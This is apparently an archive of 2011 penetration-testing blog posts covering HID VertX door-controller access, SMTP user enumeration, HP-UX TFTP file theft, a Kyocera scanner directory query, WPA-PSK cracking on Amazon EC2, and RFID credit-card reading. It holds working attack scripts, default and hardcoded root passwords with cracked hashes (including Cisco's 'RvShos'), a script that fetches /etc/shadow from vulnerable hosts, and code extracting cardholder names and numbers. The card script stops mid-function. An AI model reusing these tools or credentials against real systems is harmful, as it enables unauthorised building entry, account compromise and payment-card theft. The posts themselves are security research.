The first thing I noticed was that the VertX sends a heartbeat to WebBrix every 20 seconds (configurable option) to make sure its still connected. I sort of expected this since the heartbeat configuration was mentioned throughout the deployment documentation, so after letting communication happen naturally for a few minutes, it was easy to pick out which traffic was heartbeat related. I haven't deciphered all the fields but this is what is sent:

    Heartbeat From VertX to WebBrix: 1080;0087;V2000;IP_ADDR;MAC_ADDR;VertXController;05:53:17 IST 07/20/2011;
    Response From WebBrix to VertX:
    0080;0010;
I put an authorized card up to the reader and watched the communication in wireshark and this is what came across:

    Authorized Card Read from VertX to WebBrix 1065;0084;1060;000304;1;20;2;20;245;05:54:16 IST 07/20/2011;MAC_ADDR;0;0;5^
    WebBrix Response:
    0067;0010;
Fair enough, next was an unauthorized card read:

    Unauthorized Card Read from VertX to WebBrix: 1065;0118;1060;000306;2;20;1;22;245;06:17:45 IST 07/20/2011;MAC_ADDR;0;0;00263F9C000000000000000000000000;26^
    WebBrix Response:
    0067;0010;


So that was confusing to me. How could an authorized and unauthorized card both produce the same response?

It just so happened that last night we had our monthly office bar visit, and i was discussing the responses with Par, one of our IR rockstars. By performing a couple simple test, it was clear that the VertX cached card values locally:

  • Read successful card. Observe door unlock
  • Unplug network cable. Observe door unlock
  • Reboot VertX. Observe door unlock

So I must have missed something in the initial handshake. I took a unprovisioned card and enabled access for it this is what i saw (new card ID is 00263F8E):

    Provisioned new card (WebBrix to VertX)
    0023;0026;0;1;00263F8E;-1;
    VertX Response:
    1023;0016;-1016;
    WebBrix Response:
    0024;0104;0;1;00263F8E;0;1;7;2;0;0;0;0;0;0;0;0;0;0;0;0;2011/07/20-06:32:00;2030/12/31-23:59:59;0;0;0;0;1
    VertX Response:
    1024;0012;0;

So it looks like the backend system (WebBrix) sends access data when its provisioned, then the VertX caches it.

Local Storage of Card Values

A quick look on the VertX revealed that there are two files which store this data:

/mnt/data/config/AccessDB
/mnt/data/config/IdentDB

I haven't figured out exactly what the AccessDB does (presumably maps cards to doors?), but if you open the IdentDB in a hex editor you can see the valid CardIDs:


This means, if you have access to a VertX V2000, you can easily pull this file and have the entire cache of valid card IDs!

Next on the list: Seeing what happens when you manually add a card value into the IdentDB.

Tuesday, July 19, 2011

HID VertX V2000 Default Password

In my last post I showed you how to identify HID VertX controllers on the network. Once you identify them, the next step is to figure out how to gain access. That's not really difficult since they have a default password set for the root account. The VertX controller is primarily managed via the web interface which is relies on the admin account for authentication. From this web interface, you can change the password on the admin account, but never is there a mention of the root account.

The system has Telnet, HTTP, and FTP enabled by default, all of which relies on the /etc/passwd for authentication. User manuals say to use the admin account for everything, but if you look at management software provided by third parties, you'll see a lot of them use this root account for upgrading firmware and remote configuration.

As mentioned in my previous article, these systems handle physically proximity card access. Since they run Linux, I'm hoping I can find the processes that are responsible for relaying the card data from the reader to the backend, and the processes responsible for doing fun stuff like opening doors. If i can, then i bet writing a rootkit to do my bidding wouldnt be all that hard :)

Here are the goodies:


[root@VertXController /]5748# cat /etc/passwd
root:$1$$uqbusDeGY2YWqg.T2S1100:0:0:Administrator:/:/bin/sh
nobody:*:99:99:Nobody:/:
modem1:$1$$Y9rDiTVKDBq0qyRvfJnpd/:500:503:Linux User,,,:/:/bin/sh
router1:$1$$8gZZvhvWWFKJ7whpMxbQn/:501:503:Linux User,,,:/:/bin/sh
admin:$1$$qRPK7m23GJusamGpoGLby/:502:504:Linux User,,,:/:/bin/sh


The password is a tough one:


root@bt:/pentest/passwords/john# ./john vertx.passwd
Loaded 4 password hashes with no different salts (FreeBSD MD5 [32/32])
router1 (router1)
modem1 (modem1)
(admin)
pass (root)
guesses: 4 time: 0:00:00:03 100.00% (2) (ETA: Thu Jul 14 15:00:01 2011) c/s: 9390 trying: pass

Thursday, July 14, 2011

Identifying and Querying HID VertX Controllers On The Network - VertX_Query.py

At the most basic level, HID VertX Access Controllers work in proximity card access systems and take the data provided by the reader (usually presented via the Weigand Protocol) and format it so a backend system can process the data. The backend system will look up the card ID provided and see if it has access to the particular door its requesting access from. The backend system makes that decision then sends it back over to the controller which then opens the door, or keeps it locked.

You can guess why these systems could be important to protect on a network. Here are a couple ways to identify them and a tool i wrote to help pull some data from them.

1. Standard Port Scan for TCP 4050: The first way is to do a quick sweep for any hosts with a service on TCP 4050.


root@bt:/VertX# nmap -sS -p 4050 --open 192.168.1.0/24

Starting Nmap 5.51 ( http://nmap.org ) at 2011-07-14 14:54 EDT
Nmap scan report for 192.168.1.50
Host is up (0.00090s latency).
PORT STATE SERVICE
4050/tcp open unknown
MAC Address: 00:06:8E:FF:FF:FF (HID)

Nmap done: 256 IP addresses (22 hosts up) scanned in 2.97 seconds


2. Check OUIs: If you're on the same network, or can otherwise look at the system's MAC address, HID has its own OUI(s) allocated to them.

3. Telnet Banner: Obvious, but not always enabled.

root@bt:/# telnet 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Axis Developer Board LX release 2.2.0
Linux 2.4.26 on a cris (0)

VertXController login:


4. VertX Tool Box Discovery: HID has a Windows Client called the Discovery Client.

5. VertX_Query.py: This is a simple tool I wrote to identify VertX Controllers on a local network, and perform some other basic functions.

If you're within the same broadcast domain you can send out a broadcast, otherwise just define a suspected IP and it'll pull any information it can:

root@bt:/VertX# ./VertX_Query.py -h 255.255.255.255 -m 01
VertX_Query.py - HID VertX Discovery and Query Tool
by brad antoniewicz
--------------------------------------

[+] Got Response
Type: VertXController - V2000
Version: 2.2.7.18
IP Address: 192.168.1.50
MAC Address: 00:06:8E:FF:FF:FF



The tool also can make the Comm LED blink on/off by defining a 02 and 03 message type.

Here's the help:


root@bt:/VertX# ./VertX_Query.py
VertX_Query.py - HID VertX Discovery and Query Tool
by brad antoniewicz
--------------------------------------

Options:
-h host
-p port (default 4070)
-v verbose
-m Message Type code

Supported Message Types:
01 Discover
02 command_blink_on
03 command_blink_off


Here's the code:

root@bt:/VertX# cat VertX_Query.py
#!/usr/bin/env python
#
# VertX_Query.py - HID VertX Discovery and Query Tool
# by brad antoniewicz
#


import struct
import socket
import binascii
import getopt
import sys
import random
from socket import *

def usage():
        help = "Options:\n"
        help += "\t-h <host>\t host\n"
        help += "\t-p <port>\t port (default 4070)\n"
        help += "\t-v \t\t verbose\n"
        help += "\t-m <code> \t Message Type code\n"
        help += "\nSupported Message Types:\n"
        help += "\t01 \t Discover\n"
        help += "\t02 \t command_blink_on\n"
        help += "\t03 \t command_blink_off\n"
        return help

def process_resp(recv_data,msg_type):
        # ('discovered;090;MAC_ADDR;VertXController;IP_ADDR;2;V2000;2.2.7.18;02/27/2007;', ('10.112.18.50', 4070))
        mac=0
        if msg_type == "01":
                data = recv_data[0].split(';')
                print "\tType:\t\t",data[3],"-",data[6]
                print "\tVersion:\t",data[7]
                print "\tIP Address:\t",data[4]
                print "\tMAC Address:\t",data[2]
                mac = data[2]
        return mac

def get_mac(host,port):
        msg_to_send = buildmsg("01",0,host,port)
        if msg_to_send:
                mac = sendmsg(host,port,binascii.unhexlify(msg_to_send),0,0,"01")
        return mac

def buildmsg(msg_type,verbose,host,port):
        # Basic Connect
        if msg_type == "01" :
                # discover;013;
                msg = "646973636f7665723b3031333b"
        elif msg_type == "02":
                # command_blink_on;042;MAC_ADDR;30;
                print "[+] Querying Host first to pull MAC address"
                msg = "command_blink_on;042;"
                msg += get_mac(host,port)
                msg += ";30;"
                msg = binascii.hexlify(msg)
                print "[+] Sending command_blink_on"

        elif msg_type == "03":
                # command_blink_off;042;MAC_ADDR;1;
                print "[+] Querying host first to pull MAC address"
                msg = "command_blink_off;042;"
                msg += get_mac(host,port)
                msg += ";1;"
                msg = binascii.hexlify(msg)
                print "[+] Sending command_blink_off"
        else :
                print "[!] Message Type", msg_type, "unsupported!"
                print "[!] Unsupported message types can only be used with -f\n"
                print "[!] Quiting..."
                return 0

        ## Get the length of our msg
        total_length = len(binascii.unhexlify(msg))

        datahex=msg

        if verbose:
                print '[Verbose] Message before Send:\nH(', total_length, '):', datahex, '\t | \tA:', binascii.unhexlify(datahex)

        return datahex


def sendmsg(host,port,hex_msg,verbose,count,msg_type):

        udp=0

        if ((msg_type == "01") or (msg_type == "02") or (msg_type == "03")):
                if verbose:
                        print '[Verbose] Message type indicates UDP'
                udp=1

        if udp:
                s = socket(AF_INET,SOCK_DGRAM)
                if ( host == "255.255.255.255"):
                        if verbose:
                                print '[Verbose] Destination is Broadcast'
                        s.bind(('',0))
                        s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
        else:
                s = socket.socket()

        s.settimeout(2)

        recv_data = 0

        if verbose:
                print '[+] Target',host,':',port
                print "[+] Sending msg with length",len(hex_msg)

        if udp:
                s.sendto(hex_msg,(host,port))
                error=0
        else:
                s.connect((host,port))
                error = s.sendall(hex_msg)

        if error:
                print "[!] Error:",error
        else:
                try:
                        if udp:
                                 recv_data = s.recvfrom(1024);
                        else:
                                recv_data = s.recv(1024);

                except:
                        if count:
                                print "[",count,":ALERT] Client timed out or didnt respond!"
                        else:
                                print "[ALERT] Client timed out or didnt respond!"

                if recv_data:
                        if verbose:
                                print '[+] Client Resp:'
                                print '\t ascii:\t',recv_data
                                if not udp:
                                        print '\t hex:\t',binascii.hexlify(recv_data)
                        else:
                                print "[+] Got Response"
                        mac = process_resp(recv_data,msg_type)
                else:
                        if count:
                                print "[",count,"] No recv_data"
                        else:
                                print "[+] No recv_data"

        if not udp:
                s.shutdown(2)

        s.close()
        if mac:
                return mac


def main():
        print "VertX_Query.py - HID VertX Discovery and Query Tool"
        print "by brad antoniewicz"
        print "--------------------------------------\n"

        try:
                opts, args = getopt.getopt(sys.argv[1:], "h:p:m:vfs:at:",[])

        except getopt.GetoptError:
                print usage()
                return
        port = 4070
        host = cmdcode = verbose = fuzz = hex_str = dumbfuzz = ftype = vals = 0

        for o, a in opts:
                if o == "-h":
                        host = a
                if o == "-p":
                        port = int(a)
                if o == "-m":
                        cmdcode = a
                if o == "-v":
                        verbose = 1
                if o == "-f":
                        fuzz = 1
                if o == "-s":
                        hex_str = a
                if o == "-a":
                        vals = 1
                if o == "-t":
                        ftype = a
        if (host == 0) or (cmdcode == 0):
                print usage()
                return

        if verbose and cmdcode:
                print "[Verbose] Command code: ",cmdcode

        if fuzz:
                fuzz_msg(host,port,cmdcode,hex_str,verbose,ftype,vals)
        elif dumbfuzz:
                dumbfuzzer(verbose)
        else:
                msg_to_send = buildmsg(cmdcode,verbose,host,port)
                if msg_to_send:
                        sendmsg(host,port,binascii.unhexlify(msg_to_send),verbose,0,cmdcode)
main()

Tuesday, July 12, 2011

SMTP VRFY Checker

There are a couple of these out there already, but for whatever reason they seem to crap out or provide incorrect results. I took a quick thirty seconds and wrote another one that seems to be more accurate the the others i played with.

root@bt:~ # cat smtp-vrfy-check.py
#!/usr/bin/env python
# simple smtp VRFY checker.. that works!
# by brad a.

import socket
import getopt
import sys
import re


def usage():
        help = "Options:\n"
        help += "\t-h <host>\t host\n"
        help += "\t-p <port>\t port (Default: 25)\n"
        help += "\t-u <filename>\t userlist\n"
        help += "\t-v \t verbose\n"
        return help


def main():
        print "SMTP VRFY Checker"
        print "By brad a."
        print "---------------------------------"

        try:
                opts, args = getopt.getopt(sys.argv[1:], "h:p:u:v",[])

        except getopt.GetoptError:
                print usage()
                return
        port = 25
        verbose = host = userlist = 0

        for o, a in opts:
                if o == "-h":
                        host = a
                if o == "-p":
                        port = int(a)
                if o == "-u":
                        userlist = a
                if o == "-v":
                        verbose = 1
        if (host == 0) or (userlist == 0):
                print usage()
                return

        print "[+] Establishing connection to",host,":",port
        s = socket.socket()
        s.settimeout(10)
        recv_data = 0
        s.connect((host,port))

        banner = s.recv(512)
        if verbose == 1:
                print "[V] Banner:"
                print banner

        file = open(userlist,'r')
        count = 1
        for line in file:

                if count % 10 == 0:
                        if verbose == 1:
                                print "[V] Attempted ten usernames, reconnecting"
                        s.shutdown(2)
                        s.close

                        s = socket.socket()
                        s.settimeout(10)
                        recv_data = 0
                        s.connect((host,port))

                        banner = s.recv(512)
                        if verbose == 1:
                                print "[V] Banner:"
                                print banner

                user = line.rstrip('\n')

                msg = "VRFY "
                msg += user
                msg += "\n"
                if verbose == 1:
                        print "[V] Sending:",msg

                error = s.sendall(msg)

                if error:
                        print "\n[!] Error with user",user,":", error
                else:
                        try:
                                recv_data = s.recv(512)
                        except socket.timeout:
                                print "[!] Timeout on user",user,"!"

                if recv_data:
#                       print recv_data
                        if re.match("250",recv_data):
                                print "[+] Found User:",user
                        if verbose == 1:
                                print "[+] User:",user,
                                if re.match("550",recv_data):
                                        print " -> Not Found!"
                                else:
                                        print " -> Unknown Error!"
                                print recv_data
                else:
                        print "\nNo recv_data!"
                count+=1

        file.close()
        s.shutdown(2)
        s.close()

main()

Friday, July 8, 2011

CVE-2004-0951: HP-UX Ignite-UX TFTP File Access Checker

There is an old problem detailed in CVE-2004-0951 where the make_recovery command in HP-UX mistakenly copies a bunch of files over to the TFTP directory. This could give an attacker some more info. I wrote this quick script to test/query a vuln server.

root@bt: ~ # cat hp_inite_tftp_checker.sh
#!/bin/bash
# HP-UX Ignite-UX TFTP File Access Checker
# by brad a.

echo "HP-UX Ignite-UX TFTP File Access Checker"
echo "by brad a."
echo "-------------------------------------------"

if [ $# != 1 ]; then
        echo "Usage:"
        echo -e "\t $@ <host>"
else

        if [ -d $1-ignite ]; then
                echo "[!] ERROR: $1-ignite already exists!"
        else
                mkdir $1-ignite/
                cd $1-ignite
                cat >> /tmp/hp_tftp_checker.tmp << EOF
connect $1
get /var/opt/ignite/config.local
get /var/opt/ignite/local/config
get /var/opt/ignite/local/host.info
get /var/opt/ignite/local/hw.info
get /var/opt/ignite/local/install.log
get /var/opt/ignite/local/manifest/manifest
get /var/opt/ignite/recovery/makrec.append
get /var/opt/ignite/recovery/ignite.defs
get /var/opt/ignite/server/preferences
get /var/opt/ignite/recovery/passwd.makrec
get /etc/shadow
get /etc/passwd
get /var/opt/ignite/recovery/passwd
get /var/opt/ignite/recovery/shadow
EOF

                tftp < /tmp/hp_tftp_checker.tmp 2&> /dev/null
                rm /tmp/hp_tftp_checker.tmp

                for i in *; do
                        if [ -s $i ] ; then
                                echo Found file: $i;
                        else
                                rm $i
                        fi
                done

                cd ..
                echo "Downloaded files are in $1-ignite"
        fi
fi

Thursday, July 7, 2011

Using crunch on the Amazon EC2 Cluster

in my previous post i described how to set up a amazon ec2 instance and get pyrit up and running.

even though its not the most sophisticated application, i find myself using crunch wordlist generator alot for simple, incremental brute forcing. However the latest version (3.0.1) doesn't compile out of the box on the ec2 instance. To get it working you have to:

edit the Makefile and change the LFS variable from:
LFS = $(shell getconf POSIX_V6_ILP32_OFFBIG_CFLAGS)
to
LFS = -m64 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64

You may have to install some additional packages via yum (sudo yum install glibc-devel), however if you followed the script in my previous post, that should be installed already.

I also made a quick edit to crunch.cpp to save the status of the generation to a local file every million words, this way i could resume it later on with the -s switch.

Then create a simple script that will start/resume the crack:

SAVE_FILE=session.save
MAX_LEN=14
CHARSET=lalpha-numeric

if [ -f $SAVE_FILE ]; then
    echo Found Save File!
    echo Setting start block to `cat $SAVE_FILE`
    crunch 1 $MAX_LEN -f /usr/bin/charset.lst $CHARSET -s `cat $SAVE_FILE`| pyrit -e SSID -r /home/ec2-user/file.cap -i - --all-handshakes attack_passthrough
else
    crunch 1 $MAX_LEN -f /usr/bin/charset.lst $CHARSET | pyrit -e SSID -r /home/ec2-user/file.cap -i - --all-handshakes attack_passthrough
fi

Wednesday, July 6, 2011

Kyocera Mita Scanner File Utility Query

I wrote this little script to pull directory listings from hosts running the Kyocera Mita Scanner File Utility.

I don't know if all Mita Scanner File Utilities are vulnerable to this, but it looks sexier then my crappy script :)

root@bt:~ # cat kyocera_check.py
#!/usr/bin/env python
# Cheapo check for Kyocera Mita File Utilities, pulls dir info from them
#
#
# Based off the of NASL defined here:
# http://www.nessus.org/plugins/index.php?view=single&id=34117
# by brad a.
import binascii
import getopt
import socket
import sys

def usage():
        help = "Options:\n"
        help += "\t-h <host>\tTarget host\n"
        help += "\t-p <port>\tPort (Default 31700)"
        help += "\t-d <dir>\t Directory (Default c:\\)"
        help += "\t-v\tverbose"
        return help

def parse_resp(recv_data):

        dirlist = binascii.hexlify(recv_data)

        count = 1

        offset = 20 # size of header

        count = offset
        newword=1
        print "[+]Found the Following Contents:"
        while(count<len(dirlist)):
                filename=""
                word_length = int(dirlist[count:count+2],16)
                #print "next word is",word_length,"characters long"
                count+=2
                char_count=1
                while(char_count<=word_length):
                        filename += binascii.unhexlify(dirlist[count:count+2])
                        char_count+=1
                        count+=2
                print "\t",filename




def main():
        print "Kyocera Mita Scanner File Utility Query"
        print "by brad a."
        print "----------------------------------------"

        try:
                opts, args = getopt.getopt(sys.argv[1:], "h:p:d:",[])
        except getopt.GetoptError:
                print usage()
                return

        port = 37100
        directory = "c:\\"
        host = verbose = 0

        for o,a in opts:
                if o == "-h":
                        host = a
                if o == "-p":
                        port = a
                if o == "-d":
                        directory = a

        if (host == 0):
                print usage()
                return


        s = socket.socket()
        s.settimeout(2)
        recv_data = 0

        print '[+] Targeting',host,':',port

        s.connect((host,port))

        try:
                recv_data = s.recv(1024)
        except socket.timeout:
                print "[ALERT] Client timed out!"

        if recv_data:
                if verbose:
                        print '[+] Got Banner:', recv_data
                        print '[+] in hex:', binascii.hexlify(recv_data)

                req = '3801' # header
                req += "%04x" % 4
                req += binascii.hexlify(directory)
                datahex = "%04x" % len(binascii.unhexlify(req))
                datahex += req



                if verbose:
                        print '[+] To send:'
                        print '[+] H:',datahex
                        #print '[+] A:',binascii.unhexlify(datahex)


                error = s.sendall(binascii.unhexlify(datahex))

                if error:
                        print "[!] Error:",error
                else:
                        try:
                                recv_data = s.recv(1024)
                        except socket.timeout:
                                print "[ALERT] Timeout!"
                                return

                        if recv_data:
                                if verbose:
                                        print '[+] Got response:'
                                        print '[+] H:', binascii.hexlify(recv_data)
                                        #print '[+] A:', recv_data

                                parse_resp(recv_data)



        else:
                print "[ALERT] Didn't Find banner!"

        s.shutdown(2)
        s.close()
main()

Tuesday, July 5, 2011

Using Amazon EC2 GPU and pyrit to Crack WPA-PSKs (Detailed)

So there are a couple walk throughs online for using the Amazon EC2 Cluster with pyrit to crack WPA-PSKs, but I couldn't find one that was particularly detailed, and still had to do some tweaks to get everything working, so I figured I'd blog about it.

1. Create an account: First things first, sign up and create and account. You can use your normal Amazon account, but it'll require special info for AWS. They'll ask for you credit card information and phone number which will be used for verification.

2. Create an Instance: Once you've created the account goto the AWS Management Console and then the Amazon EC2 tab. On the left within the Navigation bar will be "EC2 Dashboard", go there and click the "Launch Instance" button under getting started on the right.
  • 2a. AMI: At the time of this writing the most applicable AMI is "Cluster Instances Amazon Linux AMI 2011.02.1 (AMI Id: ami-321eed5b)" . That should be under the "Quick Start" tab. Hit the select button next to it.
  • 2b. Instance Type: For GPU cracking, you'll need to select the Instance type of "Cluster GPU (cg1.4xlarge)" from the drop down. Once selected, Click the continue button. You can click the continue button again on the next page ("Advanced Instance Properties").
  • 2c. Tags: The most basic tag is the Name and the tag is already created for you. Give it a name of something useful by putting something in the Value column in the Name row. Click the continue button.
  • 2d. Key Pair: The keypair will be used for your SSH session into the box. If you've already created a keypair for a previously created instance you can reuse it. Otherwise create a new one. Just name it something useful (doesnt have to be instance specific). Click "Create & Download your Key Pair". It'll prompt you to download your .pem file. Do it and then the wizard will redirect you to the next screen (Security Groups). Take the default value and click "Continue". At this point it may ask you to create firewall rules if you havent already. The default option is good enough for this set up which will allow SSH inbound.

3. Connect to your Instance: After your instance is created, head on over to "Instances" on the left navigation bar under the Amazon EC2 tab. Select your newly created instance under the "My Instances" section, and within the lower pane, scroll down to get the "Public DNS" name. This is what you'll use as the hostname to connect to.
  • 3a. Preparing the SSH key and connecting (Linux): if you're using Linux things a pretty straight forward:

    root@bt:~# chmod 400 key.pem
    root@bt:~# ssh -i key.pem ec2-user@blah.compute-1.amazonaws.com
  • 3b. Preparing the SSH key and connecting (Windows): if you're using Windows with putty, you'll have to format the key to use it. Use puttygen.

  1. Import the key (File - Load Private Key, View all files, then select your key.pem). You'll get a success message on import.
  2. If you want to set a passphrase on it, set one with the "Key passphrase" and "Confirm passphrase" fields
  3. Click the "Save Private Key" button. it'll prompt you if you didnt set a passphrase (you dont have to, click "Yes" at this warning if you didnt).
  4. Define a save location and name. We'll use "key.ppk" for our example.
And to connect:
  1. Now open up putty, set your hostname in the hostname field.
  2. Expand "SSH" in the Category pane on the left then goto "Auth".
  3. Click browse, select your "key.ppk" and click "Open" in the browse window, and then again in the putty window to connect to the instance.
  4. When prompted enter username: ec2-user
4. Download and install everything: I originally saw this script but things didnt work out entirely well. I changed it around to work best on my instance for my purposes:

[ec2-user@aws ~]$ cat setup_aws_gpu.sh
#!/bin/bash

# Pyrit Install (Amazon GPU Instance)
# originally from http://borrellstudios.com/2011/06/pyrit-on-amazon-ec2/
# modified by brad a


echo "[+] Installing packages"
# added a couple more packages to support crunch
sudo yum -qy install subversion python-devel openssl-devel zlib-devel libpcap-devel glibc-devel gcc

echo "[+] Fetching Scapy"
wget http://www.secdev.org/projects/scapy/files/scapy-latest.zip

echo "[+] Unziping Scapy"
unzip scapy-latest.zip -d scapy

echo "[+] Installing Scapy"
cd scapy/*/
sudo python setup.py install
cd ../../

echo "[+] Fetching pyrit"
svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn

echo "[+] Building pyrit"

cd pyrit_svn/pyrit
python setup.py build
echo "[+] Installing pyrit"
sudo python setup.py install

echo "[+] Moving onto cpyrit_cuda"
cd ../cpyrit_cuda
echo "[+] Fixing setup.py"
sed -i -e "s/NVIDIA_INC_DIRS = \[\]/NVIDIA_INC_DIRS = \[\'\/opt\/nvidia\/cuda\/include\'\]/" setup.py

echo "[+] Building cpyrit"
python setup.py build

echo "[+] Installing cpyrit"
sudo python setup.py install

echo "NOTE: FOR DISTERIBUTED PROCESSING:"
echo -e "\tOpen TCP port 17935 on all machines"
echo -e "\tOn the master server, add the IP addresses of the slaves in .pyrit/config"
echo -e "\tSet rpc_server = true on all machines"
echo ""
echo -e "\tStart the slaves with pryit serve"
echo -e "\tRun pryit benchmark on the master server to see if it all works"


So just go ahead and run that script:

[ec2-user@aws ~]$ chmod +x setup_aws_gpu.sh
[ec2-user@aws ~]$ ./setup_aws_gpu.sh


and it should do it all for you. Afterwards test to make sure it worked with:


[ec2-user@aws ~]$ pyrit list_cores

Saturday, June 11, 2011

Cisco Unified Videoconferencing Default Root Password: RvShos

I just wanted to repost this here. Awhile ago the guys over at Matta Consulting discovered that the Cisco CUVC-5110-HD10 had hardcoded creds for its management interface:


- - Hard-coded credentials - CVE-2010-3038

Three accounts have a login shell and a password the administrator can neither
disable nor change. The affected accounts are "root", "cs" and "develop".
Matta didn't spend the CPU cycles required to get those passwords but will
provide the salted hashes to interested parties. The credentials can be used
against both the FTP and the SSH daemon running on the device.

Well once I saw that posting, I emailed them asking for the hashes, threw it into john, and forgot about it.

root:$1$6zg2QNQC$tFuy.f7z/jDo/Ek.LNmDh1:12571:0:99999:7:::
cs:$1$2VdEp4KK$cSdr5jM.rXn1r6dpxSW5m0::0:99999:7:::
develop:$1$AY0XLoFu$7PQYVb.c//7kXX3DQY6YH0:14332:0:99999:7:::

Last week we were doing a little maintenance on the system and to my surprise, we cracked it. I was a bit shocked that it took such a long time: just for a six character alphanumeric string it took the admittedly old, single cpu VM, 154 days using the most basic john options

From the john.log

154:05:15:37 + Cracked root

Anyway, since then that particular cracking system has been drastically upgraded.

Oh, and in case you missed it in the title, here's that root password:
RvShos

Thursday, June 9, 2011

Reading Chase Visa PayPass Credit Cards

On occasion I use a VivoPay 3500 for reading RFID enabled cards, usually for demos. Well, recently, the VivoPay went missing and I was looking for something to read the data from a Chase Visa PayPass/Blink card. There is ChAP.py from RFIDIOt (http://rfidiot.org/) but it stumbled reading the Chase card. So I took ChAP.py and slimmed it down to work specifically with the Chase card. The one think I noticed is that i cant seem to identify the Expiration date.

Nonetheless here it is, at the moment it can pull name and card number (thanks goes to samy from the proxmark forums for the query command).

Usage:

./ChasePayPassBlink.py -h

ChasePayPassBlink.py
usage:

 ChasePayPassBlink.py [options]

By Brad A. - Completely stripped down version of ChAP.py
             from rfidiot.org

Options:

        -d              Debug - Show PC/SC APDU data
        -h              Print detailed help message
        -r              Raw output - do not interpret EMV data
        -v              Verbose on
        -u              UnHide CC info
        -m              Minimal Info (just CC)




Source:



root@bt:/work# cat ChasePayPassBlink.py
#! /usr/bin/env python
"""
This is a modified ChAP.py from RFIDIOt
-Brad Antoniewicz

Script that tries to select the EMV Payment Systems Directory on all inserted cards.

Original Copyright 2008 RFIDIOt
Author: Adam Laurie, mailto:adam@algroup.co.uk
        http://rfidiot.org/ChAP.py
"""

from smartcard.CardType import AnyCardType
from smartcard.CardRequest import CardRequest
from smartcard.CardConnection import CardConnection
from smartcard.CardConnectionObserver import ConsoleCardConnectionObserver
from smartcard.Exceptions import CardRequestTimeoutException
from smartcard.Exceptions import CardConnectionException

import getopt
import sys
import string
import binascii
from operator import *
import time
# default global options
TryCommand= False
Debug= False
Protocol= CardConnection.T0_protocol
Verbose= False
HideCC= True
MinInfo= False
AID = [0xa0,0x00,0x00,0x00,0x03]

# define the apdus used in this script
GET_RESPONSE = [0x00, 0xC0, 0x00, 0x00 ]
SELECT = [0x00, 0xA4, 0x04, 0x00]
CMD = [0x00, 0xB2, 0x01, 0x0C, 0x00]

# define SW1 return values
SW1_RESPONSE_BYTES= 0x61
SW1_WRONG_LENGTH= 0x6c
SW12_OK= [0x90,0x00]
SW12_NOT_SUPORTED= [0x6a,0x81]
SW12_NOT_FOUND= [0x6a,0x82]
SW12_COND_NOT_SAT= [0x69,0x85]          # conditions of use not satisfied

def printhelp():
        print '\nChasePayPassBlink.py'
        print 'usage:\n\n ChasePayPassBlink.py [options]'
        print
        print 'By Brad A. - Completely stripped down version of ChAP.py'
        print '             from rfidiot.org'
        print '\nOptions:\n'
        print '\t-d\t\tDebug - Show PC/SC APDU data'
        print '\t-h\t\tPrint detailed help message'
        print '\t-r\t\tRaw output - do not interpret EMV data'
        print '\t-v\t\tVerbose on'
        print '\t-u\t\tUnHide CC info'
        print '\t-m\t\tMinimal Info (just CC)'
        print


def hexprint(data):
        index= 0

        while index < len(data):
                print '%02x' % data[index],
                index += 1
        print


def textprint(data):
        index= 0
        out= ''

        while index < len(data):
                if data[index] >= 0x20 and data[index] < 0x7f:
                        out += chr(data[index])
                else:
                        out += '.'
                index += 1
        print out

def try_cmd(cardservice):
        le= 0x00
        apdu = CMD
        response, sw1, sw2 = send_apdu(cardservice,apdu)
        if response:
                if Verbose:
                        print '\t[VERBOSE] Got Response!'
                return response
        else:
                print '\t[ERROR] No Response'
                return False, 0, ''


def parse_ccdata(response2):
        OFFSET_HDR= 3
        OFFSET_CC= 4
        OFFSET_NAMEFIELD= 23
        OFFSET_NAMELEN= 26
        print "Response:"
        if not MinInfo:
                print "\tHeader: ",
                index=0
                while index <= len(response2[:OFFSET_HDR]):
                        print '%02x' % response2[index],
                        print "(%d)" % response2[index],
                        index += 1
                print

        print "\tCard Number: ",
        index=0
        ccnum=""
        count=0
        while index < len(response2[OFFSET_CC:OFFSET_CC + 8]):
                if HideCC:
                        if count<6:
                                ccnum += '**'
                        else:
                                ccnum += '%02x' % response2[OFFSET_CC + index]
                else:
                        ccnum += '%02x' % response2[OFFSET_CC + index]
                index +=1
                count +=1
        print ccnum

        if not MinInfo:
                print "\tStuff: ",
                index=0
                while index < len(response2[OFFSET_CC + 8:OFFSET_NAMEFIELD]):
                        print '%02x' % response2[OFFSET_CC + 8 + index],
                        print '(%d)' % response2[OFFSET_CC + 8 + index],
                        index +=1
                print

        if response2[OFFSET_NAMEFIELD] == 0x5f and response2[OFFSET_NAMEFIELD + 1] == 0x20:
                if Verbose:
                        print "\tName Field Code Found!: %02x" % response2[OFFSET_NAMEFIELD],
                        print "%02x" % response2[OFFSET_NAMEFIELD + 1]
        else:
                print "\t[WARNING]Could not find Name Field Code!! Something might not be good"


        length = '%d' % response2[OFFSET_NAMEFIELD + 2]
        if Verbose:
                print "\t[VERBOSE] Length:",length,"(",int(length),") %02x" % response2[OFFSET_NAMEFIELD + 2]

        print "\tName:",
        textprint(response2[OFFSET_NAMEFIELD+3:OFFSET_NAMEFIELD+3+int(length)])
        if Verbose:
                print "\t[VERBOSE] Name (Hex):",
                index=0
                while index < len(response2[OFFSET_NAMEFIELD+3:OFFSET_NAMEFIELD+3+int(length)]):
                        print '%02x' % response2[OFFSET_NAMEFIELD + 3 + index],
                        print '(%s)' % chr(response2[OFFSET_NAMEFIELD + 3 + index]),
                        index +=1
                print

        if not MinInfo:
                print "\tThe Rest: ",
                index=0
                while index < len(response2[OFFSET_NAMEFIELD + 3 + int(length):]):
                        print '%02x' % response2[OFFSET_NAMEFIELD + 3 + int(length) + index],
                        print '(%d)' % response2[OFFSET_NAMEFIELD + 3 + int(length) + index],
                        index += 1
                print


def check_return(sw1,sw2):
        if [sw1,sw2] == SW12_OK:
                return True
        return False

def send_apdu(cardservice,apdu):
        # send apdu and get additional data if required
        response, sw1, sw2 = cardservice.connection.transmit( apdu, Protocol )
        if sw1 == SW1_WRONG_LENGTH:
                # command used wrong length. retry with correct length.
                apdu= apdu[:len(apdu) - 1] + [sw2]
                return send_apdu(apdu)
        if sw1 == SW1_RESPONSE_BYTES:
                # response bytes available.
                apdu = GET_RESPONSE + [sw2]
                response, sw1, sw2 = cardservice.connection.transmit( apdu, Protocol )
        return response, sw1, sw2

def select_aid(cardservice,aid):
        # select an AID and return True/False plus additional data
        apdu = SELECT + [len(aid)] + aid + [0x00]
